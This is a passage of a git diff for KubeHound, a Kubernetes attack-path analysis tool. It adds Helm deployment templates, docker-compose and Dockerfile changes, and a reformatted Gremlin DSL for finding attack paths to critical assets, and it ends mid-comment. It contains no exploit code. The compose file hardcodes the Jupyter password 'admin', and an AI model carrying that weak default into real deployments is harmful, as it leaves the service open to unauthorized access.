+ - name: graph + containerPort: {{ $.Values.services.graph.port }} + volumeMounts: + - name: conf + mountPath: /etc/janusgraph + volumes: + - name: conf + configMap: + name: {{ $.Chart.Name }}-graph \ No newline at end of file diff --git a/deployments/k8s/khaas/templates/deployment-ingestor.yaml b/deployments/k8s/khaas/templates/deployment-ingestor.yaml new file mode 100644 index 000000000..ab4a39f8f --- /dev/null +++ b/deployments/k8s/khaas/templates/deployment-ingestor.yaml @@ -0,0 +1,51 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: "{{ $.Chart.Name }}-ingestor" + namespace: {{ $.Release.Namespace }} + labels: + app: "{{ $.Chart.Name }}-ingestor" + service: {{ $.Chart.Name }} + chart_version: {{ $.Chart.Version }} + chart_name: {{ $.Chart.Name }} + team: {{ $.Values.team }} + +spec: + replicas: 1 + selector: + matchLabels: + app: "{{ $.Chart.Name }}-ingestor" + template: + metadata: + labels: + app: "{{ $.Chart.Name }}-ingestor" + service: {{ $.Chart.Name }} + team: {{ $.Values.team }} + chart_name: {{ $.Chart.Name }} + spec: + serviceAccountName: "{{ $.Chart.Name }}-ingestor" + containers: + - name: {{ $.Chart.Name }}-ingestor + image: "{{ $.Values.services.ingestor.image }}:{{ $.Values.services.ingestor.version }}" + imagePullPolicy: Always + resources: + requests: + cpu: {{ $.Values.services.ingestor.resources.requests.cpu }} + memory: {{ $.Values.services.ingestor.resources.requests.memory }} + limits: + cpu: {{ $.Values.services.ingestor.resources.limits.cpu }} + memory: {{ $.Values.services.ingestor.resources.limits.memory }} + volumeMounts: + - name: config + mountPath: /etc/kubehound + command: ["/kubehound","serve","-c", "/etc/kubehound/kubehound.yaml"] + env: + - name: KH_LOG_FORMAT + value: json + ports: + - name: ingestor + containerPort: {{ $.Values.services.ingestor.port }} + volumes: + - name: config + configMap: + name: {{ $.Chart.Name }}-ingestor \ No newline at end of file diff --git a/deployments/k8s/khaas/templates/deployment-ui.yaml b/deployments/k8s/khaas/templates/deployment-ui.yaml new file mode 100644 index 000000000..88c440895 --- /dev/null +++ b/deployments/k8s/khaas/templates/deployment-ui.yaml @@ -0,0 +1,41 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: "{{ $.Chart.Name }}-ui" + namespace: {{ $.Release.Namespace }} + labels: + app: "{{ $.Chart.Name }}-ui" + service: {{ $.Chart.Name }} + chart_version: {{ $.Chart.Version }} + chart_name: {{ $.Chart.Name }} + team: {{ $.Values.team }} + +spec: + replicas: 1 + selector: + matchLabels: + app: "{{ $.Chart.Name }}-ui" + template: + metadata: + labels: + app: "{{ $.Chart.Name }}-ui" + service: {{ $.Chart.Name }} + team: {{ $.Values.team }} + chart_name: {{ $.Chart.Name }} + spec: + containers: + - name: {{ $.Chart.Name }}-ui + image: "{{ $.Values.services.ui.image }}:{{ $.Values.services.ui.version }}" + imagePullPolicy: Always + resources: + requests: + cpu: {{ $.Values.services.ui.resources.requests.cpu }} + memory: {{ $.Values.services.ui.resources.requests.memory }} + limits: + cpu: {{ $.Values.services.ui.resources.limits.cpu }} + memory: {{ $.Values.services.ui.resources.limits.memory }} + ports: + - name: ui-tree + containerPort: {{ $.Values.services.ui.ports.tree }} + - name: ui-lab + containerPort: {{ $.Values.services.ui.ports.lab }} \ No newline at end of file diff --git a/deployments/k8s/khaas/templates/job-collector.yaml b/deployments/k8s/khaas/templates/job-collector.yaml new file mode 100644 index 000000000..dd629366a --- /dev/null +++ b/deployments/k8s/khaas/templates/job-collector.yaml @@ -0,0 +1,44 @@ +apiVersion: batch/v1 +kind: CronJob +metadata: + name: "{{ $.Chart.Name }}-collector" + namespace: {{ $.Release.Namespace }} + labels: + app: "{{ $.Chart.Name }}-collector" + service: {{ $.Chart.Name }} + chart_version: {{ $.Chart.Version }} + chart_name: {{ $.Chart.Name }} + team: {{ $.Values.team }} +spec: + schedule: "0,30 * * * *" + failedJobsHistoryLimit: 5 + successfulJobsHistoryLimit: 5 + concurrencyPolicy: Replace + jobTemplate: + spec: + template: + metadata: + labels: + app: "{{ $.Chart.Name }}-collector" + service: {{ $.Chart.Name }} + team: {{ $.Values.team }} + chart_name: {{ $.Chart.Name }} + restartPolicy: Never + serviceAccountName: "{{ $.Chart.Name }}-collector" + containers: + - name: {{ $.Chart.Name }}-collector + image: "{{ $.Values.services.collector.image }}:{{ $.Values.services.collector.version}}" + imagePullPolicy: Always + resources: + requests: + cpu: {{ $.Values.services.collector.resources.requests.cpu }} + memory: {{ $.Values.services.collector.resources.requests.memory }} + limits: + cpu: {{ $.Values.services.collector.resources.limits.cpu }} + memory: {{ $.Values.services.collector.resources.limits.memory }} + command: ["/kubehound","dump","remote","--khaas-server","{{ $.Values.services.collector.khaas_server }}","--bucket","{{ $.Values.services.ingestor.bucket_url }}","--region","us-east-1"] + env: + - name: KH_LOG_FORMAT + value: json + - name: KH_K8S_CLUSTER_NAME_ENV_PTR + value: K8S_CLUSTER_NAME diff --git a/deployments/k8s/khaas/templates/service.yaml b/deployments/k8s/khaas/templates/service.yaml new file mode 100644 index 000000000..2f4847081 --- /dev/null +++ b/deployments/k8s/khaas/templates/service.yaml @@ -0,0 +1,53 @@ +apiVersion: v1 +kind: Service +metadata: + name: "{{ $.Chart.Name }}-ingestor" + namespace: {{ $.Release.Namespace }} +spec: + selector: + app: "{{ $.Chart.Name }}-ingestor" + clusterIP: None + ports: + - name: ingestor + port: {{ $.Values.services.ingestor.port }} +--- +apiVersion: v1 +kind: Service +metadata: + name: "{{ $.Chart.Name }}-graph" + namespace: {{ $.Release.Namespace }} +spec: + selector: + app: "{{ $.Chart.Name }}-graph" + clusterIP: None + ports: + - name: graph + port: {{ $.Values.services.graph.port }} +--- +apiVersion: v1 +kind: Service +metadata: + name: "{{ $.Chart.Name }}-db" + namespace: {{ $.Release.Namespace }} +spec: + selector: + app: "{{ $.Chart.Name }}-db" + clusterIP: None + ports: + - name: db + port: {{ $.Values.services.db.port }} +--- +apiVersion: v1 +kind: Service +metadata: + name: "{{ $.Chart.Name }}-ui" + namespace: {{ $.Release.Namespace }} +spec: + selector: + app: "{{ $.Chart.Name }}-ui" + clusterIP: None + ports: + - name: ui-tree + port: {{ $.Values.services.ui.ports.tree }} + - name: ui-lab + port: {{ $.Values.services.ui.ports.lab }} \ No newline at end of file diff --git a/deployments/k8s/khaas/templates/service_account.yaml b/deployments/k8s/khaas/templates/service_account.yaml new file mode 100644 index 000000000..5950dfb0d --- /dev/null +++ b/deployments/k8s/khaas/templates/service_account.yaml @@ -0,0 +1,23 @@ +apiVersion: v1 +kind: ServiceAccount +metadata: + name: "{{ $.Chart.Name }}-ingestor" + namespace: {{ $.Release.Namespace }} + labels: + app: {{ $.Chart.Name }}-ingestor + service: {{ $.Chart.Name }} + team: {{ $.Values.team }} + chart_name: {{ $.Chart.Name }} + chart_version: {{ $.Chart.Version }} +--- +apiVersion: v1 +kind: ServiceAccount +metadata: + name: {{ $.Chart.Name }}-collector + namespace: {{ $.Release.Namespace }} + labels: + app: {{ $.Chart.Name }}-collector + service: {{ $.Chart.Name }} + team: {{ $.Values.team }} + chart_name: {{ $.Chart.Name }} + chart_version: {{ $.Chart.Version }} diff --git a/deployments/k8s/khaas/values.yaml b/deployments/k8s/khaas/values.yaml new file mode 100644 index 000000000..fc75fa18d --- /dev/null +++ b/deployments/k8s/khaas/values.yaml @@ -0,0 +1,69 @@ +team: +services: + collector: + image: ghcr.io/datadog/kubehound-binary + version: latest + resources: + requests: + cpu: "4" + memory: "8Gi" + limits: + cpu: "4" + memory: "8Gi" + khaas_server: kubehound-ingestor.kubehound.cluster-local.local + + ingestor: + host: 0.0.0.0 + port: 9000 + image: ghcr.io/datadog/kubehound-binary + version: latest + bucket_url: s3:// + region: "us-east-1" + resources: + requests: + cpu: "4" + memory: "8Gi" + limits: + cpu: "4" + memory: "8Gi" + + graph: + host: kubehound-graph.kubehound.cluster-local.local + port: 8182 + db_name: kubehound + image: ghcr.io/datadog/kubehound-graph + version: latest + resources: + requests: + cpu: "4" + memory: "16Gi" + limits: + cpu: "4" + memory: "16Gi" + + ui: + image: ghcr.io/datadog/kubehound-ui + version: latest + resources: + requests: + cpu: "2" + memory: "4Gi" + limits: + cpu: "2" + memory: "4Gi" + ports: + lab: 8888 + tree: 8889 + + db: + host: kubehound-db.kubehound.cluster-local.local + port: 27017 + image: mongo + version: 6.0.6 + resources: + requests: + cpu: "4" + memory: "16Gi" + limits: + cpu: "4" + memory: "16Gi" diff --git a/deployments/kubehound/README.md b/deployments/kubehound/README.md new file mode 100644 index 000000000..871434768 --- /dev/null +++ b/deployments/kubehound/README.md @@ -0,0 +1,13 @@ +# KubeHound docker stack + +Under the hood, KubeHound is running dockers for the storedb, graphdb and UI. + +## KubeHound backend + +The docker backend can be handled directly with the `kubehound` binary. Check the [Backend](https://kubehound.io/user-guide/common-operations/#backend) documentation. + +If you want you can also use directly the compose files without `kubehound` binary (running `docker compose ...` commands). + +## KubeHound as a Service - ingestor - Docker deployment + +To deploy KHaaS ingestor services please refer to [docker-deployment](https://kubehound.io/user-guide/khaas-101/#docker-deployment) diff --git a/deployments/kubehound/ingestor/Dockerfile b/deployments/kubehound/binary/Dockerfile similarity index 67% rename from deployments/kubehound/ingestor/Dockerfile rename to deployments/kubehound/binary/Dockerfile index ddf469969..3d4e00071 100644 --- a/deployments/kubehound/ingestor/Dockerfile +++ b/deployments/kubehound/binary/Dockerfile @@ -1,4 +1,4 @@ -FROM golang:1.22 AS build-stage +FROM golang:1.24 AS build-stage COPY go.mod go.sum ./ RUN go mod download @@ -15,11 +15,11 @@ FROM gcr.io/distroless/base-debian12 AS build-release-stage WORKDIR / -COPY --from=build-stage /go/bin/kubehound /kubehound +COPY --from=build-stage /go/bin/build/kubehound /kubehound EXPOSE 9000 USER nonroot:nonroot -ENTRYPOINT ["./kubehound"] -CMD ["serve"] \ No newline at end of file +ENTRYPOINT ["/kubehound"] +CMD ["serve"] diff --git a/deployments/kubehound/datadog/Dockerfile b/deployments/kubehound/datadog/Dockerfile new file mode 100644 index 000000000..835285585 --- /dev/null +++ b/deployments/kubehound/datadog/Dockerfile @@ -0,0 +1,5 @@ +from gcr.io/datadoghq/agent:7-jmx + +ADD datadog.yaml /etc/datadog-agent/datadog.yaml +ADD mongodb.yaml /etc/datadog-agent/conf.d/mongo.d/conf.yaml +ADD openmetrics.yaml /etc/datadog-agent/conf.d/openmetrics.d/conf.yaml \ No newline at end of file diff --git a/deployments/kubehound/docker-compose.dev.datadog.yaml b/deployments/kubehound/docker-compose.dev.datadog.yaml new file mode 100644 index 000000000..790a95c40 --- /dev/null +++ b/deployments/kubehound/docker-compose.dev.datadog.yaml @@ -0,0 +1,33 @@ +services: + datadog: + build: + context: datadog + dockerfile: Dockerfile + restart: unless-stopped + ports: + - "127.0.0.1:8225:8125/UDP" + - "127.0.0.1:8226:8126" + environment: + - DD_API_KEY=${DD_API_KEY:?error} + - DD_APP_KEY=${DD_APP_KEY:?error} + - DD_HOSTNAME=${DOCKER_HOSTNAME:?error} + - DD_ENV=${KUBEHOUND_ENV:-dev} + - DD_TAGS="service:kubehound" + - DD_LOG_LEVEL=debug + - DD_APM_ENABLED=true + - DD_LOGS_ENABLED=true + - DD_PROCESS_AGENT_ENABLED=true + - DD_APM_NON_LOCAL_TRAFFIC=true + - DD_DOGSTATSD_NON_LOCAL_TRAFFIC=true + - DD_CONTAINER_LABELS_AS_TAGS={"com.docker.compose.service":"+app"} + - DD_CONTAINER_INCLUDE=name:kubehound-* + volumes: + - /var/run/docker.sock:/var/run/docker.sock + - /proc/:/host/proc/:ro + - /sys/fs/cgroup:/host/sys/fs/cgroup:ro + - /var/lib/docker/containers:/var/lib/docker/containers:ro + networks: + - kubenet + +networks: + kubenet: diff --git a/deployments/kubehound/docker-compose.dev.graph.yaml b/deployments/kubehound/docker-compose.dev.graph.yaml new file mode 100644 index 000000000..a032f9b72 --- /dev/null +++ b/deployments/kubehound/docker-compose.dev.graph.yaml @@ -0,0 +1,7 @@ +name: kubehound-dev +services: + kubegraph: + build: ./graph/ + ports: + - "127.0.0.1:8182:8182" + - "127.0.0.1:8099:8099" diff --git a/deployments/kubehound/docker-compose.dev.ingestor.yaml b/deployments/kubehound/docker-compose.dev.ingestor.yaml new file mode 100644 index 000000000..b443768bd --- /dev/null +++ b/deployments/kubehound/docker-compose.dev.ingestor.yaml @@ -0,0 +1,18 @@ +name: kubehound-dev +services: + grpc: + build: + context: ../../ + dockerfile: deployments/kubehound/binary/Dockerfile + restart: unless-stopped + ports: + - "127.0.0.1:9000:9000" + networks: + - kubenet + env_file: + - kubehound.env + labels: + com.datadoghq.ad.logs: '[{"app": "grpc", "service": "kubehound"}]' + +networks: + kubenet: diff --git a/deployments/kubehound/docker-compose.dev.mongo.yaml b/deployments/kubehound/docker-compose.dev.mongo.yaml new file mode 100644 index 000000000..5e3fb37cc --- /dev/null +++ b/deployments/kubehound/docker-compose.dev.mongo.yaml @@ -0,0 +1,5 @@ +name: kubehound-dev +services: + mongodb: + ports: + - "127.0.0.1:27017:27017" diff --git a/deployments/kubehound/docker-compose.dev.ui.yaml b/deployments/kubehound/docker-compose.dev.ui.yaml new file mode 100644 index 000000000..6960f720a --- /dev/null +++ b/deployments/kubehound/docker-compose.dev.ui.yaml @@ -0,0 +1,7 @@ +name: kubehound-dev +services: + ui-jupyter: + build: ./ui/ + restart: unless-stopped + volumes: + - ./notebook/shared:/root/notebooks/shared diff --git a/deployments/kubehound/docker-compose.dev.yaml b/deployments/kubehound/docker-compose.dev.yaml deleted file mode 100644 index 09c31d0e5..000000000 --- a/deployments/kubehound/docker-compose.dev.yaml +++ /dev/null @@ -1,27 +0,0 @@ -name: kubehound-dev -services: - mongodb: - ports: - - "127.0.0.1:27017:27017" - volumes: - - mongodb_data:/data/db - networks: - - kind - - kubegraph: - build: ./kubegraph/ - ports: - - "127.0.0.1:8182:8182" - - "127.0.0.1:8099:8099" - volumes: - - kubegraph_data:/var/lib/janusgraph - networks: - - kind - -volumes: - mongodb_data: - kubegraph_data: - -networks: - kind: - external: true \ No newline at end of file diff --git a/deployments/kubehound/docker-compose.datadog.yaml b/deployments/kubehound/docker-compose.release.datadog.yaml similarity index 92% rename from deployments/kubehound/docker-compose.datadog.yaml rename to deployments/kubehound/docker-compose.release.datadog.yaml index b3e63756a..53042241f 100644 --- a/deployments/kubehound/docker-compose.datadog.yaml +++ b/deployments/kubehound/docker-compose.release.datadog.yaml @@ -2,8 +2,6 @@ services: datadog: image: gcr.io/datadoghq/agent:7-jmx restart: unless-stopped - profiles: ["infra"] - container_name: ${COMPOSE_PROJECT_NAME}-datadog-agent ports: - "127.0.0.1:8225:8125/UDP" - "127.0.0.1:8226:8126" @@ -33,4 +31,4 @@ services: - kubenet networks: - kubenet: \ No newline at end of file + kubenet: diff --git a/deployments/kubehound/docker-compose.release.ingestor.yaml b/deployments/kubehound/docker-compose.release.ingestor.yaml new file mode 100644 index 000000000..b5fab0a64 --- /dev/null +++ b/deployments/kubehound/docker-compose.release.ingestor.yaml @@ -0,0 +1,14 @@ +name: kubehound-release +services: + grpc: + image: ghcr.io/datadog/kubehound-binary:latest + restart: unless-stopped + ports: + - "127.0.0.1:9000:9000" + networks: + - kubenet + env_file: + - kubehound.env + +networks: + kubenet: diff --git a/deployments/kubehound/docker-compose.release.yaml b/deployments/kubehound/docker-compose.release.yaml index f5678ff7a..d70a55230 100644 --- a/deployments/kubehound/docker-compose.release.yaml +++ b/deployments/kubehound/docker-compose.release.yaml @@ -3,33 +3,12 @@ services: mongodb: ports: - "127.0.0.1:27017:27017" - volumes: - - mongodb_data:/data/db kubegraph: image: ghcr.io/datadog/kubehound-graph:latest ports: - "127.0.0.1:8182:8182" - "127.0.0.1:8099:8099" - volumes: - - kubegraph_data:/var/lib/janusgraph - - ui: - image: ghcr.io/datadog/kubehound-ui:latest - restart: unless-stopped - ports: - - "127.0.0.1:8888:8888" - networks: - - kubenet - labels: - com.datadoghq.ad.logs: '[{"app": "kubeui", "service": "kubehound"}]' - volumes: - - kubeui_data:/root/notebooks/shared -volumes: - mongodb_data: - kubegraph_data: - kubeui_data: - -networks: - kubenet: \ No newline at end of file + ui-jupyter: + image: ghcr.io/datadog/kubehound-ui:latest diff --git a/deployments/kubehound/docker-compose.release.yaml.tpl b/deployments/kubehound/docker-compose.release.yaml.tpl new file mode 100644 index 000000000..3f4c20ffa --- /dev/null +++ b/deployments/kubehound/docker-compose.release.yaml.tpl @@ -0,0 +1,14 @@ +name: kubehound-release +services: + mongodb: + ports: + - "127.0.0.1:27017:27017" + + kubegraph: + image: ghcr.io/datadog/kubehound-graph:{{ .VersionTag }} + ports: + - "127.0.0.1:8182:8182" + - "127.0.0.1:8099:8099" + + ui-jupyter: + image: ghcr.io/datadog/kubehound-ui:{{ .VersionTag }} diff --git a/deployments/kubehound/docker-compose.testing.yaml b/deployments/kubehound/docker-compose.testing.yaml index 25da5ff98..15e021cc3 100644 --- a/deployments/kubehound/docker-compose.testing.yaml +++ b/deployments/kubehound/docker-compose.testing.yaml @@ -3,17 +3,9 @@ services: mongodb: ports: - "127.0.0.1:27018:27017" - networks: - - kind kubegraph: - build: ./kubegraph/ - networks: - - kind + build: ./graph/ ports: - "127.0.0.1:8183:8182" - "127.0.0.1:8090:8099" - -networks: - kind: - external: true \ No newline at end of file diff --git a/deployments/kubehound/docker-compose.ui.yaml b/deployments/kubehound/docker-compose.ui.yaml deleted file mode 100644 index 399211f4d..000000000 --- a/deployments/kubehound/docker-compose.ui.yaml +++ /dev/null @@ -1,15 +0,0 @@ -version: "3.8" -services: - notebook: - build: ./notebook/ - restart: unless-stopped - container_name: ${COMPOSE_PROJECT_NAME}-notebook - ports: - - "127.0.0.1:8888:8888" - networks: - - kubenet - volumes: - - ./notebook/shared:/root/notebooks/shared - -networks: - kubenet: \ No newline at end of file diff --git a/deployments/kubehound/docker-compose.yaml b/deployments/kubehound/docker-compose.yaml index 07c6ae562..e67d27146 100644 --- a/deployments/kubehound/docker-compose.yaml +++ b/deployments/kubehound/docker-compose.yaml @@ -14,6 +14,8 @@ services: interval: 10s timeout: 2s retries: 10 + volumes: + - mongodb_data:/data/db kubegraph: restart: unless-stopped @@ -26,6 +28,56 @@ services: retries: 3 labels: com.datadoghq.ad.logs: '[{"app": "kubegraph", "service": "kubehound"}]' + volumes: + - kubegraph_data:/var/lib/janusgraph + + ui-jupyter: + restart: unless-stopped + profiles: + - jupyter + ports: + - "127.0.0.1:8888:8888" + - "127.0.0.1:8889:8889" + networks: + - kubenet + labels: + com.datadoghq.ad.logs: '[{"app": "kubeui", "service": "kubehound"}]' + volumes: + - kubeui_data:/root/notebooks/shared + environment: + - NOTEBOOK_PASSWORD=admin + - GRAPH_NOTEBOOK_SSL=False + + ui-invana-engine: + image: invanalabs/invana-engine:latest + profiles: + - invana + restart: unless-stopped + networks: + - kubenet + ports: + - 127.0.0.1:8200:8200 + environment: + GREMLIN_SERVER_URL: ws://kubegraph:8182/gremlin + depends_on: + - kubegraph + + ui-invana-studio: + image: invanalabs/invana-studio:latest + restart: unless-stopped + profiles: + - invana + networks: + - kubenet + ports: + - 127.0.0.1:8300:8300 + depends_on: + - ui-invana-engine networks: - kubenet: \ No newline at end of file + kubenet: + +volumes: + mongodb_data: + kubegraph_data: + kubeui_data: diff --git a/deployments/kubehound/embed.go b/deployments/kubehound/embed.go index 1f88f88df..b04bd8903 100644 --- a/deployments/kubehound/embed.go +++ b/deployments/kubehound/embed.go @@ -5,4 +5,5 @@ import ( ) //go:embed *.yaml +//go:embed *.yaml.tpl var F embed.FS diff --git a/deployments/kubehound/kubegraph/Dockerfile b/deployments/kubehound/graph/Dockerfile similarity index 87% rename from deployments/kubehound/kubegraph/Dockerfile rename to deployments/kubehound/graph/Dockerfile index 42bad5dbe..a702473cb 100644 --- a/deployments/kubehound/kubegraph/Dockerfile +++ b/deployments/kubehound/graph/Dockerfile @@ -7,7 +7,7 @@ COPY dsl/kubehound/pom.xml /home/app RUN mvn -f /home/app/pom.xml clean install # Now build our janusgraph wrapper container with KubeHound customizations -FROM janusgraph/janusgraph:1.0.0 +FROM janusgraph/janusgraph:1.1.0 LABEL org.opencontainers.image.source="https://github.com/DataDog/kubehound/" # Add our initialization script for the database schema to the startup directory @@ -28,6 +28,9 @@ COPY --chown=janusgraph:janusgraph scripts/health-check.groovy ${JANUS_HOME}/scr # DSL support COPY --chown=janusgraph:janusgraph scripts/kubehound-dsl-init.groovy ${JANUS_HOME}/scripts/ +# grpcurl to rehydrate dumps on startup +COPY --from=fullstorydev/grpcurl:v1.9.1 --chown=janusgraph:janusgraph /bin/grpcurl /usr/local/bin/grpcurl + # Set JVM configuration ENV JAVA_OPTIONS_FILE ${JANUS_HOME}/conf/jvm.options @@ -56,9 +59,16 @@ ENV gremlinserver.metrics.slf4jReporter.enabled=false ENV gremlinserver.metrics.graphiteReporter.enabled=false ENV gremlinserver.metrics.csvReporter.enabled=false +# Add safety net settings to prevent OOM and other issues +ENV janusgraph.query.force-index=false +ENV janusgraph.cluster.max-partitions=512 +ENV janusgraph.query.batch=true +ENV janusgraph.query.hard-max-limit=100000 +ENV janusgraph.query.smart-limit=true + # Performance tweaks based on: https://www.sailpoint.com/blog/souping-up-the-gremlin/ # gremlinPool will default to Runtime.availableProcessors() -ENV gremlinserver.gremlinPool=0 +ENV gremlinserver.gremlinPool=0 # threadPoolWorker should be 2x VCPU (TODO: can we set dynamically?) ENV gremlinserver.threadPoolWorker=16 diff --git a/deployments/kubehound/kubegraph/conf/jvm.options b/deployments/kubehound/graph/conf/jvm.options similarity index 96% rename from deployments/kubehound/kubegraph/conf/jvm.options rename to deployments/kubehound/graph/conf/jvm.options index 68454d4cf..5116176b4 100644 --- a/deployments/kubehound/kubegraph/conf/jvm.options +++ b/deployments/kubehound/graph/conf/jvm.options @@ -63,7 +63,8 @@ ################# -XX:+UseG1GC +-XX:+UseContainerSupport -XX:SurvivorRatio=8 -XX:MaxTenuringThreshold=1 --javaagent:"/opt/janusgraph/lib/jmx_prometheus_javaagent-0.18.0.jar"=8099:/opt/janusgraph/lib/exporter-config.yaml \ No newline at end of file +-javaagent:"/opt/janusgraph/lib/jmx_prometheus_javaagent-0.18.0.jar"=8099:/opt/janusgraph/lib/exporter-config.yaml diff --git a/deployments/kubehound/kubegraph/dsl/kubehound/README.md b/deployments/kubehound/graph/dsl/kubehound/README.md similarity index 100% rename from deployments/kubehound/kubegraph/dsl/kubehound/README.md rename to deployments/kubehound/graph/dsl/kubehound/README.md diff --git a/deployments/kubehound/kubegraph/dsl/kubehound/pom.xml b/deployments/kubehound/graph/dsl/kubehound/pom.xml similarity index 100% rename from deployments/kubehound/kubegraph/dsl/kubehound/pom.xml rename to deployments/kubehound/graph/dsl/kubehound/pom.xml diff --git a/deployments/kubehound/kubegraph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/EndpointExposure.java b/deployments/kubehound/graph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/EndpointExposure.java similarity index 100% rename from deployments/kubehound/kubegraph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/EndpointExposure.java rename to deployments/kubehound/graph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/EndpointExposure.java diff --git a/deployments/kubehound/kubegraph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/KubeHoundTraversalDsl.java b/deployments/kubehound/graph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/KubeHoundTraversalDsl.java similarity index 53% rename from deployments/kubehound/kubegraph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/KubeHoundTraversalDsl.java rename to deployments/kubehound/graph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/KubeHoundTraversalDsl.java index a759b4b96..05d998c93 100644 --- a/deployments/kubehound/kubegraph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/KubeHoundTraversalDsl.java +++ b/deployments/kubehound/graph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/KubeHoundTraversalDsl.java @@ -34,16 +34,21 @@ import static org.apache.tinkerpop.gremlin.process.traversal.Scope.local; import static org.apache.tinkerpop.gremlin.structure.Column.values; - /** - * This KubeHound DSL is meant to be used with the Kubernetes attack graph created by the KubeHound application. + * This KubeHound DSL is meant to be used with the Kubernetes attack graph + * created by the KubeHound application. *

- * All DSLs should extend {@code GraphTraversal.Admin} and be suffixed with "TraversalDsl". Simply add DSL traversal - * methods to this interface. Use Gremlin's steps to build the underlying traversal in these methods to ensure - * compatibility with the rest of the TinkerPop stack and provider implementations. + * All DSLs should extend {@code GraphTraversal.Admin} and be suffixed with + * "TraversalDsl". Simply add DSL traversal + * methods to this interface. Use Gremlin's steps to build the underlying + * traversal in these methods to ensure + * compatibility with the rest of the TinkerPop stack and provider + * implementations. *

- * Arguments provided to the {@code GremlinDsl} annotation are all optional. In this case, a {@code traversalSource} is - * specified which points to a specific implementation to use. Had that argument not been specified then a default + * Arguments provided to the {@code GremlinDsl} annotation are all optional. In + * this case, a {@code traversalSource} is + * specified which points to a specific implementation to use. Had that argument + * not been specified then a default * {@code TraversalSource} would have been generated. */ @GremlinDsl(traversalSource = "com.datadog.ase.kubehound.KubeHoundTraversalSourceDsl") @@ -54,7 +59,8 @@ public interface KubeHoundTraversalDsl extends GraphTraversal.Admin public static final int PATH_HOPS_MIN_DEFAULT = 6; /** - * From a {@code Vertex} traverse immediate edges to display the next set of possible attacks and targets. + * From a {@code Vertex} traverse immediate edges to display the next set of + * possible attacks and targets. * */ public default GraphTraversal attacks() { @@ -62,78 +68,85 @@ public default GraphTraversal attacks() { } /** - * From a {@code Vertex} filter on whether incoming vertices are critical assets. + * From a {@code Vertex} filter on whether incoming vertices are critical + * assets. */ - @GremlinDsl.AnonymousMethod(returnTypeParameters = {"A", "A"}, methodTypeParameters = {"A"}) + @GremlinDsl.AnonymousMethod(returnTypeParameters = { "A", "A" }, methodTypeParameters = { "A" }) public default GraphTraversal critical() { return has("critical", true); } /** - * From a {@code Vertex} traverse edges until {@code maxHops} is exceeded or a critical asset is reached and return all paths. + * From a {@code Vertex} traverse edges until {@code maxHops} is exceeded or a + * critical asset is reached and return all paths. * * @param maxHops the maximum number of hops in an attack path */ public default GraphTraversal criticalPaths(int maxHops) { - if (maxHops < PATH_HOPS_MIN) throw new IllegalArgumentException(String.format("maxHops must be >= %d", PATH_HOPS_MIN)); - if (maxHops > PATH_HOPS_MAX) throw new IllegalArgumentException(String.format("maxHops must be <= %d", PATH_HOPS_MAX)); + if (maxHops < PATH_HOPS_MIN) + throw new IllegalArgumentException(String.format("maxHops must be >= %d", PATH_HOPS_MIN)); + if (maxHops > PATH_HOPS_MAX) + throw new IllegalArgumentException(String.format("maxHops must be <= %d", PATH_HOPS_MAX)); - return repeat(( - (KubeHoundTraversalDsl) __.outE()) + return repeat(((KubeHoundTraversalDsl) __.outE()) .inV() - .simplePath() - ).until( - __.has("critical", true) - .or() - .loops() - .is(maxHops) - ).has("critical", true) - .path(); + .simplePath()).until( + __.has("critical", true) + .or() + .loops() + .is(maxHops)) + .has("critical", true) + .path(); } /** - * From a {@code Vertex} traverse edges until a critical asset is reached and return all paths. + * From a {@code Vertex} traverse edges until a critical asset is reached and + * return all paths. */ public default GraphTraversal criticalPaths() { return criticalPaths(PATH_HOPS_DEFAULT); } /** - * From a {@code Vertex} traverse edges EXCLUDING labels provided in {@code exclusions} until {@code maxHops} is exceeded or - * a critical asset is reached and return all paths. + * From a {@code Vertex} traverse edges EXCLUDING labels provided in + * {@code exclusions} until {@code maxHops} is exceeded or + * a critical asset is reached and return all paths. * - * @param maxHops the maximum number of hops in an attack path + * @param maxHops the maximum number of hops in an attack path * @param exclusions edge labels to exclude from paths */ public default GraphTraversal criticalPathsFilter(int maxHops, String... exclusions) { - if (exclusions.length <= 0) throw new IllegalArgumentException("exclusions must be provided (otherwise use criticalPaths())"); - if (maxHops < PATH_HOPS_MIN) throw new IllegalArgumentException(String.format("maxHops must be >= %d", PATH_HOPS_MIN)); - if (maxHops > PATH_HOPS_MAX) throw new IllegalArgumentException(String.format("maxHops must be <= %d", PATH_HOPS_MAX)); - - return repeat(( - (KubeHoundTraversalDsl) __.outE()) - .hasLabel(P.not(P.within(exclusions))) + if (exclusions.length <= 0) + throw new IllegalArgumentException("exclusions must be provided (otherwise use criticalPaths())"); + if (maxHops < PATH_HOPS_MIN) + throw new IllegalArgumentException(String.format("maxHops must be >= %d", PATH_HOPS_MIN)); + if (maxHops > PATH_HOPS_MAX) + throw new IllegalArgumentException(String.format("maxHops must be <= %d", PATH_HOPS_MAX)); + + return repeat(((KubeHoundTraversalDsl) __.outE()) + .has("class", P.not(P.within(exclusions))) .inV() - .simplePath() - ).until( - __.has("critical", true) - .or() - .loops() - .is(maxHops) - ).has("critical", true) - .path(); + .simplePath()).until( + __.has("critical", true) + .or() + .loops() + .is(maxHops)) + .has("critical", true) + .path(); } /** - * From a {@code Vertex} filter on whether incoming vertices have at least one path to a critical asset. + * From a {@code Vertex} filter on whether incoming vertices have at least one + * path to a critical asset. */ - @GremlinDsl.AnonymousMethod(returnTypeParameters = {"A", "A"}, methodTypeParameters = {"A"}) + @GremlinDsl.AnonymousMethod(returnTypeParameters = { "A", "A" }, methodTypeParameters = { "A" }) public default GraphTraversal hasCriticalPath() { - return where(__.criticalPaths().limit(1)); + return where(__.criticalPaths().limit(1)); } /** - * From a {@code Vertex} returns the hop count of the shortest path to a critical asset. + * From a {@code Vertex} returns the hop count of the shortest path to a + * critical asset. * */ public default GraphTraversal minHopsToCritical() { @@ -141,61 +154,66 @@ public default GraphTraversal minHopsToCritical() } /** - * From a {@code Vertex} returns the hop count of the shortest path to a critical asset. - * + * From a 